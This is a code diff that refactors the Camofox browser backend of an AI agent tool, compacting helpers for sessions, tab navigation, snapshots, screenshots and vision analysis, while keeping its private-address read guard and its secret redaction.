diff --git a/tests/tools/test_browser_hardening.py b/tests/tools/test_browser_hardening.py index 6ad1e9f5da..4c07db3dc4 100644 --- a/tests/tools/test_browser_hardening.py +++ b/tests/tools/test_browser_hardening.py @@ -301,11 +301,11 @@ class TestScrollOptimization: class TestEmptyStdoutFailure: def test_empty_stdout_returns_failure(self): - """Verify _run_browser_command returns failure on empty stdout.""" + """Verify the command-output interpreter returns failure on empty stdout.""" import tools.browser_tool as bt - src = inspect.getsource(bt._run_browser_command) + src = inspect.getsource(bt._interpret_browser_command_output) assert "returned no output" in src, \ - "_run_browser_command should treat empty stdout as failure" + "_interpret_browser_command_output should treat empty stdout as failure" def test_empty_ok_commands_is_module_level_frozenset(self): """_EMPTY_OK_COMMANDS should be a module-level frozenset, not defined inside a function.""" diff --git a/tools/browser_camofox.py b/tools/browser_camofox.py index b451422072..2a653f69df 100644 --- a/tools/browser_camofox.py +++ b/tools/browser_camofox.py @@ -7,9 +7,8 @@ with element refs, click/type/scroll by ref, screenshots. Setup: ``npm install && npm start`` in a camofox-browser checkout, or ``docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser``; then set -``CAMOFOX_URL=http://localhost:9377`` in ``~/.hermes/.env``. For Docker Camofox, -``CAMOFOX_REWRITE_LOOPBACK_URLS=true`` opens page URLs like ``http://127.0.0.1:3000`` -inside the container as ``http://host.docker.internal:3000``. +``CAMOFOX_URL=http://localhost:9377`` in ``~/.hermes/.env`` (Docker: see +``CAMOFOX_REWRITE_LOOPBACK_URLS`` in :func:`_rewrite_loopback_url_for_camofox`). """ from __future__ import annotations @@ -34,9 +33,7 @@ from tools.registry import tool_error logger = logging.getLogger(__name__) -# --------------------------------------------------------------------------- -# Configuration -# --------------------------------------------------------------------------- +# ---- Configuration ---- _DEFAULT_TIMEOUT = 30 # fallback when config is unreadable _NO_SESSION_ERROR = "No browser session. Call browser_navigate first." @@ -49,11 +46,8 @@ _cmd_timeout_resolved = False def _get_command_timeout() -> int: - """Return ``browser.command_timeout`` (floored at 5s, default 30s), cached after first read. - - Mirrors :func:`tools.browser_tool._get_command_timeout` so both backends honour - the same config knob. - """ + """``browser.command_timeout`` (floor 5s, default 30s), cached after first read; + mirrors :func:`tools.browser_tool._get_command_timeout`.""" global _cached_cmd_timeout, _cmd_timeout_resolved if _cmd_timeout_resolved: return _cached_cmd_timeout # type: ignore[return-value] @@ -82,14 +76,10 @@ def get_camofox_url() -> str: def _config_cdp_url() -> str: - """Persistent ``browser.cdp_url`` from config.yaml, or empty string. - - Read here rather than via ``browser_tool._get_cdp_override`` (circular import) - so Camofox yields to a config CDP override like it yields to ``BROWSER_CDP_URL``. - """ + """Persistent ``browser.cdp_url`` from config.yaml, or "". Read here rather than + via ``browser_tool._get_cdp_override`` (circular import).""" try: - from hermes_cli.config import read_raw_config - + from hermes_cli.config import read_raw_config # late-bound: tests patch the source module browser_cfg = read_raw_config().get("browser", {}) if isinstance(browser_cfg, dict): return str(browser_cfg.get("cdp_url", "") or "").strip() @@ -102,17 +92,15 @@ def is_camofox_mode() -> bool: """True when the Camofox backend is selected and no CDP override is active. Selection is ``browser.cloud_provider: camofox``; ``CAMOFOX_URL`` is only the - server address and does not override a different stored selection. Legacy: when - no selection was ever written, a set ``CAMOFOX_URL`` still activates Camofox. - A CDP override (``BROWSER_CDP_URL`` env or ``browser.cdp_url`` config, matching - ``browser_tool._get_cdp_override()`` precedence) wins so tools drive the real - CDP browser instead of being silently routed to Camofox. + address and never overrides a different stored selection (legacy: with no + selection ever written, a set ``CAMOFOX_URL`` still activates Camofox). A CDP + override (``BROWSER_CDP_URL`` env or ``browser.cdp_url`` config, same precedence + as ``browser_tool._get_cdp_override()``) wins so tools drive the real CDP browser. """ if os.getenv("BROWSER_CDP_URL", "").strip() or _config_cdp_url(): return False try: from tools.tool_backend_helpers import read_selection - selected = read_selection("browser") except Exception: # pragma: no cover — helpers are in-repo selected = None @@ -133,8 +121,7 @@ def check_camofox_available() -> bool: try: vnc_port = resp.json().get("vncPort") if isinstance(vnc_port, int) and 1 <= vnc_port <= 65535: - host = urlsplit(url).hostname or "localhost" - _vnc_url = f"http://{host}:{vnc_port}" + _vnc_url = f"http://{urlsplit(url).hostname or 'localhost'}:{vnc_port}" except (ValueError, KeyError): pass _vnc_url_checked = True @@ -168,68 +155,36 @@ def _managed_persistence_enabled(camofox_cfg: Optional[Dict[str, Any]] = None) - def _secret_or_cfg(secret_name: str, camofox_cfg: Dict[str, Any], cfg_key: str) -> str: - return ( - (get_secret(secret_name, "") or "").strip() - or str(camofox_cfg.get(cfg_key) or "").strip() - ) + """Secret-scope value first, then the ``browser.camofox`` config key, else "".""" + return (get_secret(secret_name, "") or "").strip() or str(camofox_cfg.get(cfg_key) or "").strip() def _camofox_identity_override(task_id: Optional[str], camofox_cfg: Dict[str, Any]) -> Optional[Dict[str, str]]: - """Return an externally configured Camofox identity, if one is set. - - Integrations that own the visible Camofox browser share a user ID so Hermes - operates in the same profile instead of a separate private session. - """ + """Externally configured identity (integrations owning the visible Camofox + browser share a user ID so Hermes uses the same profile), or None.""" user_id = _secret_or_cfg("CAMOFOX_USER_ID", camofox_cfg, "user_id") if not user_id: return None - session_key = ( - _secret_or_cfg("CAMOFOX_SESSION_KEY", camofox_cfg, "session_key") - or f"task_{(task_id or 'default')[:16]}" - ) - return {"user_id": user_id, "session_key": session_key} - - -def _env_flag(name: str) -> Optional[bool]: - raw = os.getenv(name, "").strip().lower() - if not raw: - return None - if raw in {"1", "true", "yes", "on"}: - return True - if raw in {"0", "false", "no", "off"}: - return False - logger.debug("Ignoring invalid boolean env %s=%r", name, raw) - return None + session_key = _secret_or_cfg("CAMOFOX_SESSION_KEY", camofox_cfg, "session_key") + return {"user_id": user_id, "session_key": session_key or f"task_{(task_id or 'default')[:16]}"} def _flag(env_name: str, camofox_cfg: Dict[str, Any], cfg_key: str) -> bool: """Boolean toggle: env var wins when set to a valid value, else config key.""" - env_value = _env_flag(env_name) - return env_value if env_value is not None else bool(camofox_cfg.get(cfg_key)) - - -def _adopt_existing_tab_enabled(camofox_cfg: Dict[str, Any]) -> bool: - """Return whether Hermes should recover an existing Camofox tab ID.""" - return _flag("CAMOFOX_ADOPT_EXISTING_TAB", camofox_cfg, "adopt_existing_tab") - - -def _loopback_rewrite_enabled(camofox_cfg: Dict[str, Any]) -> bool: - """Return whether loopback page URLs should be rewritten for Docker-hosted Camofox. - - ``CAMOFOX_URL`` may point at a host-published Docker port, but page URLs are - opened by the browser *inside* the container, where loopback is the container, - not the host. Opt-in because non-Docker installs run the browser on the host. - """ - return _flag("CAMOFOX_REWRITE_LOOPBACK_URLS", camofox_cfg, "rewrite_loopback_urls") + raw = os.getenv(env_name, "").strip().lower() + if raw in {"1", "true", "yes", "on"}: + return True + if raw in {"0", "false", "no", "off"}: + return False + if raw: + logger.debug("Ignoring invalid boolean env %s=%r", env_name, raw) + return bool(camofox_cfg.get(cfg_key)) def _loopback_rewrite_host(camofox_cfg: Dict[str, Any]) -> str: """Return the host alias used when rewriting loopback page URLs.""" - return ( - os.getenv("CAMOFOX_LOOPBACK_HOST_ALIAS", "").strip() - or str(camofox_cfg.get("loopback_host_alias") or "").strip() - or "host.docker.internal" - ) + return (os.getenv("CAMOFOX_LOOPBACK_HOST_ALIAS", "").strip() + or str(camofox_cfg.get("loopback_host_alias") or "").strip() or "host.docker.internal") def _is_loopback_hostname(hostname: Optional[str]) -> bool: @@ -248,88 +203,68 @@ def _is_loopback_hostname(hostname: Optional[str]) -> bool: def _rewrite_loopback_url_for_camofox(url: str) -> tuple[str, Optional[Dict[str, str]]]: """Rewrite loopback page URLs for Docker-hosted Camofox, if configured. - Returns ``(rewritten_url, metadata)``; ``metadata`` is present only when a - rewrite happened so the tool result can disclose the change to the model. + ``CAMOFOX_URL`` may point at a host-published Docker port, but page URLs are + opened by the browser *inside* the container, where loopback is the container, + not the host. Opt-in (``CAMOFOX_REWRITE_LOOPBACK_URLS`` / config) because + non-Docker installs run the browser on the host. Returns ``(rewritten_url, + metadata)``; ``metadata`` is present only when a rewrite happened so the tool + result can disclose the change to the model. """ camofox_cfg = _get_camofox_config() - if not _loopback_rewrite_enabled(camofox_cfg): + if not _flag("CAMOFOX_REWRITE_LOOPBACK_URLS", camofox_cfg, "rewrite_loopback_urls"): return url, None try: parsed = urlsplit(url) except ValueError: return url, None - - if parsed.scheme not in {"http", "https"} or not _is_loopback_hostname(parsed.hostname): - return url, None - alias = _loopback_rewrite_host(camofox_cfg) - if not alias: + if parsed.scheme not in {"http", "https"} or not _is_loopback_hostname(parsed.hostname) or not alias: return url, None userinfo = "" if parsed.username: - userinfo = parsed.username - if parsed.password: - userinfo += f":{parsed.password}" - userinfo += "@" + userinfo = parsed.username + (f":{parsed.password}" if parsed.password else "") + "@" host_part = f"[{alias}]" if ":" in alias and not alias.startswith("[") else alias port_part = f":{parsed.port}" if parsed.port else "" rewritten = urlunsplit( SplitResult(parsed.scheme, f"{userinfo}{host_part}{port_part}", parsed.path, parsed.query, parsed.fragment) ) - return rewritten, { - "from": parsed.hostname or "", - "to": alias, - "original_url": url, - "rewritten_url": rewritten, - } + return rewritten, {"from": parsed.hostname or "", "to": alias, "original_url": url, "rewritten_url": rewritten} -# --------------------------------------------------------------------------- -# Session management -# --------------------------------------------------------------------------- +# ---- Session management ---- # Maps task_id -> {"user_id": str, "tab_id": str|None, ...} _sessions: Dict[str, Dict[str, Any]] = {} _sessions_lock = threading.Lock() def _adopt_existing_tab(session: Dict[str, Any]) -> Dict[str, Any]: - """Attach process-local state to an already-open managed Camofox tab. - - Gateway restarts empty this module's in-memory cache while Camofox still has - the integration-owned tab, so rehydrate tab_id before creating a new one. - """ + """Rehydrate tab_id from an already-open managed tab: gateway restarts empty the + in-memory cache while Camofox still holds the integration-owned tab.""" if session.get("tab_id") or not session.get("adopt_existing_tab") or not get_camofox_url(): return session try: - tabs = _get("/tabs", params={"userId": session["user_id"]}, timeout=5).get("tabs", []) + tabs = _get("/tabs", params=_user_params(session), timeout=5).get("tabs", []) except Exception as exc: logger.debug("Camofox tab adoption failed for %s: %s", session.get("user_id"), exc) return session - - if not isinstance(tabs, list) or not tabs: + if not isinstance(tabs, list): return session - - session_key = session.get("session_key") dict_tabs = [tab for tab in tabs if isinstance(tab, dict)] - candidates = [tab for tab in dict_tabs if tab.get("listItemId") == session_key] or dict_tabs + candidates = [tab for tab in dict_tabs if tab.get("listItemId") == session.get("session_key")] or dict_tabs tab_id = candidates[-1].get("tabId") if candidates else None if isinstance(tab_id, str) and tab_id: session["tab_id"] = tab_id logger.debug("Adopted existing Camofox tab %s for %s", tab_id, session.get("user_id")) - return session def _get_session(task_id: Optional[str]) -> Dict[str, Any]: - """Get or create a camofox session for the given task. - - Identity precedence: external override (CAMOFOX_USER_ID / config), then the - deterministic profile-scoped identity when managed persistence is on, else a - random ephemeral userId. - """ + """Get or create the task's session. Identity precedence: external override + (CAMOFOX_USER_ID / config) → profile-scoped identity when managed persistence + is on → random ephemeral userId.""" task_id = task_id or "default" with _sessions_lock: if task_id in _sessions: @@ -339,22 +274,13 @@ def _get_session(task_id: Optional[str]) -> Dict[str, Any]: identity = _camofox_identity_override(task_id, camofox_cfg) if identity is None and _managed_persistence_enabled(camofox_cfg): identity = get_camofox_identity(task_id) - if identity is not None: - session = { - "user_id": identity["user_id"], - "tab_id": None, - "session_key": identity["session_key"], - "managed": True, - "adopt_existing_tab": _adopt_existing_tab_enabled(camofox_cfg), - } + if identity is None: + identity = {"user_id": f"hermes_{uuid.uuid4().hex[:10]}", "session_key": f"task_{task_id[:16]}"} + managed, adopt = False, False else: - session = { - "user_id": f"hermes_{uuid.uuid4().hex[:10]}", - "tab_id": None, - "session_key": f"task_{task_id[:16]}", - "managed": False, - "adopt_existing_tab": False, - } + managed, adopt = True, _flag("CAMOFOX_ADOPT_EXISTING_TAB", camofox_cfg, "adopt_existing_tab") + session = {"user_id": identity["user_id"], "tab_id": None, "session_key": identity["session_key"], + "managed": managed, "adopt_existing_tab": adopt} _sessions[task_id] = session return _adopt_existing_tab(session) @@ -364,15 +290,7 @@ def _ensure_tab(task_id: Optional[str], url: str = "about:blank") -> Dict[str, A session = _get_session(task_id) if session["tab_id"]: return session - data = _request( - "post", - "/tabs", - json={ - "userId": session["user_id"], - "listItemId": session["session_key"], - "url": url, - }, - ).json() + data = _post("/tabs", {"userId": session["user_id"], "listItemId": session["session_key"], "url": url}) session["tab_id"] = data.get("tabId") return session @@ -384,12 +302,9 @@ def _drop_session(task_id: Optional[str]) -> Optional[Dict[str, Any]]: def camofox_soft_cleanup(task_id: Optional[str] = None) -> bool: - """Release the in-memory session without destroying the server-side context. - - Managed (persistent or externally-owned) profiles must survive across agent - tasks, so only the local tracking entry is dropped (returns ``True``). For - ephemeral sessions returns ``False`` so the caller falls back to :func:`camofox_close`. - """ + """Drop only the local tracking entry (``True``) for managed profiles, which + must survive across agent tasks; ``False`` for ephemeral sessions so the caller + falls back to :func:`camofox_close`.""" camofox_cfg = _get_camofox_config() if _managed_persistence_enabled(camofox_cfg) or _camofox_identity_override(task_id, camofox_cfg): _drop_session(task_id) @@ -398,17 +313,13 @@ def camofox_soft_cleanup(task_id: Optional[str] = None) -> bool: return False -# --------------------------------------------------------------------------- -# HTTP helpers -# --------------------------------------------------------------------------- +# ---- HTTP helpers ---- def _request(method: str, path: str, timeout: Optional[int] = None, **kwargs: Any) -> requests.Response: """Issue an authenticated request to camofox and return the raised-for-status response.""" if timeout is None: timeout = _get_command_timeout() - resp = getattr(requests, method)( - f"{get_camofox_url()}{path}", timeout=timeout, headers=_auth_headers(), **kwargs - ) + resp = getattr(requests, method)(f"{get_camofox_url()}{path}", timeout=timeout, headers=_auth_headers(), **kwargs) resp.raise_for_status() return resp @@ -433,9 +344,7 @@ def _delete(path: str, body: dict = None, timeout: Optional[int] = None) -> dict return _request("delete", path, timeout, json=body).json() -# --------------------------------------------------------------------------- -# Tool implementations -# --------------------------------------------------------------------------- +# ---- Tool implementations ---- def _tab_path(session: Dict[str, Any], suffix: str) -> str: return f"/tabs/{session['tab_id']}/{suffix}" @@ -445,72 +354,78 @@ def _user_params(session: Dict[str, Any]) -> Dict[str, str]: return {"userId": session["user_id"]} -def _fetch_snapshot(session: Dict[str, Any]) -> tuple[str, int]: - """Return ``(snapshot_text, refs_count)`` truncated like the main browser tool. +def _raw_snapshot(session: Dict[str, Any]) -> str: + return _get(_tab_path(session, "snapshot"), params=_user_params(session)).get("snapshot", "") - Cuts at line boundaries, stores the full tree to cache/web, and appends a - read_file pointer. ``browser_tool`` imports this module, so import lazily. - """ + +def _parse_snapshot_images(snapshot: str) -> list[Dict[str, str]]: + """Images from an accessibility snapshot: ``img "alt" [eN]`` entries with the + URL on the following ``/url:`` line (Camofox has no /images endpoint).""" + images = [] + lines = snapshot.split("\n") + for i, line in enumerate(lines): + stripped = line.strip() + if not stripped.startswith(("- img ", "img ")): + continue + alt_match = re.search(r'img\s+"([^"]*)"', stripped) + alt = alt_match.group(1) if alt_match else "" + url_match = re.search(r'/url:\s*(\S+)', lines[i + 1].strip()) if i + 1 < len(lines) else None + src = url_match.group(1) if url_match else "" + if alt or src: + images.append({"src": src, "alt": alt}) + return images + + +def _fetch_snapshot(session: Dict[str, Any]) -> tuple[str, int]: + """``(snapshot_text, refs_count)`` truncated like the main browser tool (line + boundaries, full tree stored to cache/web, read_file pointer appended). + ``browser_tool`` imports this module, so import lazily.""" data = _get(_tab_path(session, "snapshot"), params=_user_params(session)) snapshot = data.get("snapshot", "") - from tools.browser_tool import ( - get_browser_snapshot_threshold, - _truncate_snapshot, - ) - + from tools.browser_tool import _truncate_snapshot, get_browser_snapshot_threshold threshold = get_browser_snapshot_threshold() if len(snapshot) > threshold: snapshot = _truncate_snapshot(snapshot, max_chars=threshold) return snapshot, data.get("refsCount", 0) +def _navigate_tab(task_id: Optional[str], browser_url: str) -> tuple[Dict[str, Any], dict]: + """Open ``browser_url`` in the task's tab (creating it if missing) and return + ``(session, navigate_response)``. A 404 on the existing tab means the server + garbage-collected it — recreate instead of failing.""" + session = _get_session(task_id) + if session["tab_id"]: + try: + data = _post(_tab_path(session, "navigate"), {"userId": session["user_id"], "url": browser_url}, timeout=60) + return session, data + except requests.HTTPError as e: + if e.response is None or e.response.status_code != 404: + raise + logger.warning( + "Camofox tab %s returned 404 — tab was garbage collected. Creating a fresh tab.", + session["tab_id"], + ) + session["tab_id"] = None + session = _ensure_tab(task_id, browser_url) + return session, {"ok": True, "url": browser_url} + + def camofox_navigate(url: str, task_id: Optional[str] = None) -> str: """Navigate to a URL via Camofox.""" try: browser_url, rewrite_info = _rewrite_loopback_url_for_camofox(url) - session = _get_session(task_id) - if not session["tab_id"]: - session = _ensure_tab(task_id, browser_url) - data = {"ok": True, "url": browser_url} - else: - try: - data = _post( - _tab_path(session, "navigate"), - {"userId": session["user_id"], "url": browser_url}, - timeout=60, - ) - except requests.HTTPError as e: - # Stale tab (garbage collected server-side) — recreate it. - if e.response is not None and e.response.status_code == 404: - logger.warning( - "Camofox tab %s returned 404 — tab was garbage collected. " - "Creating a fresh tab.", - session["tab_id"], - ) - session["tab_id"] = None - session = _ensure_tab(task_id, browser_url) - data = {"ok": True, "url": browser_url} - else: - raise - result = { - "success": True, - "url": data.get("url", browser_url), - "title": data.get("title", ""), - } + session, data = _navigate_tab(task_id, browser_url) + result = {"success": True, "url": data.get("url", browser_url), "title": data.get("title", "")} if rewrite_info: result["requested_url"] = url result["url_rewrite"] = rewrite_info - result["warning"] = ( - "Rewrote loopback URL for Docker-hosted Camofox: " - f"{rewrite_info['from']} -> {rewrite_info['to']}" - ) + result["warning"] = ("Rewrote loopback URL for Docker-hosted Camofox: " + f"{rewrite_info['from']} -> {rewrite_info['to']}") vnc = get_vnc_url() if vnc: result["vnc_url"] = vnc - result["vnc_hint"] = ( - "Browser is visible via VNC. " - "Share this link with the user so they can watch the browser live." - ) + result["vnc_hint"] = ("Browser is visible via VNC. " + "Share this link with the user so they can watch the browser live.") # Auto-take a compact snapshot so the model can act immediately. try: @@ -522,44 +437,32 @@ def camofox_navigate(url: str, task_id: Optional[str] = None) -> str: except requests.HTTPError as e: return tool_error(f"Navigation failed: {e}", success=False) except requests.ConnectionError: - return json.dumps({ - "success": False, - "error": f"Cannot connect to Camofox at {get_camofox_url()}. " - "Is the server running? Start with: npm start (in camofox-browser dir) " - "or: docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser", - }) + return json.dumps({"success": False, "error": ( + f"Cannot connect to Camofox at {get_camofox_url()}. " + "Is the server running? Start with: npm start (in camofox-browser dir) " + "or: docker run -p 9377:9377 -e CAMOFOX_PORT=9377 jo-inc/camofox-browser")}) except Exception as e: return tool_error(str(e), success=False) def _camofox_private_page_block(session: Dict[str, Any], task_id: Optional[str], action: str) -> Optional[str]: - """Return a blocked payload when the current Camofox page is private/internal. + """Blocked payload when the current page is private/internal, else None. - Mirrors the ``_camofox_eval`` guard in browser_tool.py: snapshot / vision / - image-extraction read current page state, so on a non-local backend they can - leak an intranet/metadata page the terminal itself can't reach. Only active - when the SSRF guard applies (non-local backend, not a local sidecar, + Mirrors the ``_camofox_eval`` guard in browser_tool.py: page-state reads on a + non-local backend can leak an intranet/metadata page the terminal can't reach. + Only active when the SSRF guard applies (non-local backend, not a local sidecar, ``allow_private_urls`` unset); fail-open on probe failure like sibling guards. ``browser_tool`` imports this module, so import lazily. """ - from tools.browser_tool import ( - _camofox_current_page_private_url, - _eval_ssrf_guard_active, - ) - + from tools.browser_tool import _camofox_current_page_private_url, _eval_ssrf_guard_active if not _eval_ssrf_guard_active(task_id or "default"): return None blocked_url = _camofox_current_page_private_url(session["tab_id"], session["user_id"]) if not blocked_url: return None - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({blocked_url}). Refusing to {action} on this page in this " - "browser mode." - ), - }, ensure_ascii=False) + return json.dumps({"success": False, "error": ( + "Blocked: page URL targets a private or internal address " + f"({blocked_url}). Refusing to {action} on this page in this browser mode.")}, ensure_ascii=False) def _require_tab(task_id: Optional[str], action: Optional[str] = None) -> tuple[Dict[str, Any], Optional[str]]: @@ -572,31 +475,23 @@ def _require_tab(task_id: Optional[str], action: Optional[str] = None) -> tuple[ return session, None -def camofox_snapshot(full: bool = False, task_id: Optional[str] = None, - user_task: Optional[str] = None) -> str: - """Get accessibility tree snapshot from Camofox. - - ``user_task`` is deprecated and ignored — oversized snapshots always - truncate-and-store (no LLM summarization), same as the main browser tool. - """ +def camofox_snapshot(full: bool = False, task_id: Optional[str] = None, user_task: Optional[str] = None) -> str: + """Accessibility tree snapshot. ``user_task`` is deprecated and ignored — + oversized snapshots always truncate-and-store (no LLM summarization).""" try: session, blocked = _require_tab(task_id, "read a page snapshot") if blocked: return blocked snapshot, refs_count = _fetch_snapshot(session) - return json.dumps({ - "success": True, - "snapshot": snapshot, - "element_count": refs_count, - }) + return json.dumps({"success": True, "snapshot": snapshot, "element_count": refs_count}) except Exception as e: return tool_error(str(e), success=False) def _tab_action(task_id: Optional[str], guard_action: Optional[str], suffix: str, body: Dict[str, Any], result: Callable[[dict], dict]) -> str: - """Shared shape of the simple tab actions: require a tab (+ private-page guard - when ``guard_action`` is set), POST ``body`` to ``/tabs//``, build result.""" + """Simple tab action: require a tab (+ private-page guard when ``guard_action`` + is set), POST ``body`` to ``/tabs//``, build the result.""" try: session, blocked = _require_tab(task_id, guard_action) if blocked: @@ -609,15 +504,9 @@ def _tab_action(task_id: Optional[str], guard_action: Optional[str], suffix: str def camofox_click(ref: str, task_id: Optional[str] = None) -> str: """Click an element by ref via Camofox.""" - try: - session, blocked = _require_tab(task_id, "click") - if blocked: - return blocked - clean_ref = ref.lstrip("@") # our tool convention prefixes refs with @ - data = _post(_tab_path(session, "click"), {"userId": session["user_id"], "ref": clean_ref}) - return json.dumps({"success": True, "clicked": clean_ref, "url": data.get("url", "")}) - except Exception as e: - return tool_error(str(e), success=False) + clean_ref = ref.lstrip("@") # our tool convention prefixes refs with @ + return _tab_action(task_id, "click", "click", {"ref": clean_ref}, + lambda data: {"success": True, "clicked": clean_ref, "url": data.get("url", "")}) def camofox_type(ref: str, text: str, task_id: Optional[str] = None) -> str: @@ -627,54 +516,33 @@ def camofox_type(ref: str, text: str, task_id: Optional[str] = None) -> str: if blocked: return blocked clean_ref = ref.lstrip("@") - _post( - _tab_path(session, "type"), - {"userId": session["user_id"], "ref": clean_ref, "text": text}, - ) - from agent.display import ( - redact_browser_typed_text_for_display, - redact_tool_args_for_display, - ) - + _post(_tab_path(session, "type"), {"userId": session["user_id"], "ref": clean_ref, "text": text}) + from agent.display import redact_browser_typed_text_for_display, redact_tool_args_for_display # Match browser_tool.browser_type: the raw text is typed into the page, but # the returned display value is run through the secret-pattern redactor so # API keys / tokens don't leak into tool progress or chat history. display_text = (redact_tool_args_for_display("browser_type", {"text": text}) or {})["text"] - response = { - "success": True, - "typed": display_text, - "element": clean_ref, - } - response = redact_browser_typed_text_for_display(response, text) - return json.dumps(response) + response = {"success": True, "typed": display_text, "element": clean_ref} + return json.dumps(redact_browser_typed_text_for_display(response, text)) except Exception as e: from agent.display import redact_browser_typed_text_for_display - return tool_error(redact_browser_typed_text_for_display(str(e), text), success=False) def camofox_scroll(direction: str, task_id: Optional[str] = None) -> str: """Scroll the page via Camofox.""" - return _tab_action( - task_id, None, "scroll", {"direction": direction}, - lambda data: {"success": True, "scrolled": direction}, - ) + return _tab_action(task_id, None, "scroll", {"direction": direction}, + lambda data: {"success": True, "scrolled": direction}) def camofox_back(task_id: Optional[str] = None) -> str: """Navigate back via Camofox.""" - return _tab_action( - task_id, None, "back", {}, - lambda data: {"success": True, "url": data.get("url", "")}, - ) + return _tab_action(task_id, None, "back", {}, lambda data: {"success": True, "url": data.get("url", "")}) def camofox_press(key: str, task_id: Optional[str] = None) -> str: """Press a keyboard key via Camofox.""" - return _tab_action( - task_id, "press", "press", {"key": key}, - lambda data: {"success": True, "pressed": key}, - ) + return _tab_action(task_id, "press", "press", {"key": key}, lambda data: {"success": True, "pressed": key}) def camofox_close(task_id: Optional[str] = None) -> str: @@ -689,45 +557,39 @@ def camofox_close(task_id: Optional[str] = None) -> str: def camofox_get_images(task_id: Optional[str] = None) -> str: - """Get images on the current page via Camofox. - - Parsed from the accessibility tree snapshot (``img "alt" [eN]`` entries with - the URL on the following ``/url:`` line) — Camofox has no /images endpoint. - """ + """Get images on the current page via Camofox (parsed from the snapshot).""" try: session, blocked = _require_tab(task_id, "extract page images") if blocked: return blocked - data = _get(_tab_path(session, "snapshot"), params=_user_params(session)) - snapshot = data.get("snapshot", "") - - images = [] - lines = snapshot.split("\n") - for i, line in enumerate(lines): - stripped = line.strip() - if stripped.startswith(("- img ", "img ")): - alt_match = re.search(r'img\s+"([^"]*)"', stripped) - alt = alt_match.group(1) if alt_match else "" - src = "" - if i + 1 < len(lines): - url_match = re.search(r'/url:\s*(\S+)', lines[i + 1].strip()) - if url_match: - src = url_match.group(1) - if alt or src: - images.append({"src": src, "alt": alt}) - - return json.dumps({ - "success": True, - "images": images, - "count": len(images), - }) + images = _parse_snapshot_images(_raw_snapshot(session)) + return json.dumps({"success": True, "images": images, "count": len(images)}) except Exception as e: return tool_error(str(e), success=False) -def camofox_vision(question: str, annotate: bool = False, - task_id: Optional[str] = None) -> str: +def _vision_llm_settings() -> tuple[float, float]: + """``auxiliary.vision`` ``(timeout, temperature)``; defaults 120s / 0.1 on any config error.""" + try: + cfg = cfg_get(load_config(), "auxiliary", "vision", default={}) + return float(cfg.get("timeout", 120)), float(cfg.get("temperature", 0.1)) + except Exception: + return 120.0, 0.1 + + +def _save_screenshot(content: bytes) -> str: + """Write PNG bytes under ``$HERMES_HOME/browser_screenshots`` and return the path.""" + from hermes_constants import get_hermes_home + screenshots_dir = get_hermes_home() / "browser_screenshots" + screenshots_dir.mkdir(parents=True, exist_ok=True) + screenshot_path = str(screenshots_dir / f"browser_screenshot_{uuid.uuid4().hex[:8]}.png") + with open(screenshot_path, "wb") as f: + f.write(content) + return screenshot_path + + +def camofox_vision(question: str, annotate: bool = False, task_id: Optional[str] = None) -> str: """Take a screenshot and analyze it with vision AI via Camofox.""" try: session, blocked = _require_tab(task_id, "capture a screenshot") @@ -735,22 +597,13 @@ def camofox_vision(question: str, annotate: bool = False, return blocked resp = _get_raw(_tab_path(session, "screenshot"), params=_user_params(session)) - - from hermes_constants import get_hermes_home - screenshots_dir = get_hermes_home() / "browser_screenshots" - screenshots_dir.mkdir(parents=True, exist_ok=True) - screenshot_path = str(screenshots_dir / f"browser_screenshot_{uuid.uuid4().hex[:8]}.png") - - with open(screenshot_path, "wb") as f: - f.write(resp.content) - + screenshot_path = _save_screenshot(resp.content) img_b64 = base64.b64encode(resp.content).decode("utf-8") annotation_context = "" if annotate: try: - snap_data = _get(_tab_path(session, "snapshot"), params=_user_params(session)) - annotation_context = f"\n\nAccessibility tree (element refs for interaction):\n{snap_data.get('snapshot', '')[:3000]}" + annotation_context = f"\n\nAccessibility tree (element refs for interaction):\n{_raw_snapshot(session)[:3000]}" except Exception: pass @@ -760,47 +613,18 @@ def camofox_vision(question: str, annotate: bool = False, annotation_context = redact_sensitive_text(annotation_context) from agent.auxiliary_client import call_llm - - vision_prompt = ( - f"Analyze this browser screenshot and answer: {question}" - f"{annotation_context}" - ) - - try: - _vision_cfg = cfg_get(load_config(), "auxiliary", "vision", default={}) - _vision_timeout = float(_vision_cfg.get("timeout", 120)) - _vision_temperature = float(_vision_cfg.get("temperature", 0.1)) - except Exception: - _vision_timeout = 120.0 - _vision_temperature = 0.1 - + vision_prompt = f"Analyze this browser screenshot and answer: {question}{annotation_context}" + timeout, temperature = _vision_llm_settings() response = call_llm( - messages=[{ - "role": "user", - "content": [ - {"type": "text", "text": vision_prompt}, - { - "type": "image_url", - "image_url": { - "url": f"data:image/png;base64,{img_b64}", - }, - }, - ], - }], - task="vision", - temperature=_vision_temperature, - timeout=_vision_timeout, + messages=[{"role": "user", "content": [ + {"type": "text", "text": vision_prompt}, + {"type": "image_url", "image_url": {"url": f"data:image/png;base64,{img_b64}"}}, + ]}], + task="vision", temperature=temperature, timeout=timeout, ) analysis = (response.choices[0].message.content or "").strip() if response.choices else "" - # Redact secrets the vision LLM may have read from the screenshot. - analysis = redact_sensitive_text(analysis) - - return json.dumps({ - "success": True, - "analysis": analysis, - "screenshot_path": screenshot_path, - }) + return json.dumps({"success": True, "analysis": redact_sensitive_text(analysis), "screenshot_path": screenshot_path}) except Exception as e: return tool_error(str(e), success=False) @@ -808,11 +632,7 @@ def camofox_vision(question: str, annotate: bool = False, def camofox_console(clear: bool = False, task_id: Optional[str] = None) -> str: """Console output is not exposed by the Camofox REST API; return an empty result with a note.""" return json.dumps({ - "success": True, - "console_messages": [], - "js_errors": [], - "total_messages": 0, - "total_errors": 0, + "success": True, "console_messages": [], "js_errors": [], "total_messages": 0, "total_errors": 0, "note": "Console log capture is not available with the Camofox backend. " "Use browser_snapshot or browser_vision to inspect page state.", }) diff --git a/tools/browser_camofox_state.py b/tools/browser_camofox_state.py index 3a2bde03fa..85d821d000 100644 --- a/tools/browser_camofox_state.py +++ b/tools/browser_camofox_state.py @@ -1,10 +1,8 @@ """Hermes-managed Camofox state helpers. -Provides profile-scoped identity and state directory paths for Camofox -persistent browser profiles. When managed persistence is enabled, Hermes -sends a deterministic userId derived from the active profile so that -Camofox can map it to the same persistent browser profile directory -across restarts. +With managed persistence enabled, Hermes sends a deterministic userId derived +from the active profile so Camofox maps it to the same persistent browser +profile directory across restarts. """ from __future__ import annotations @@ -27,21 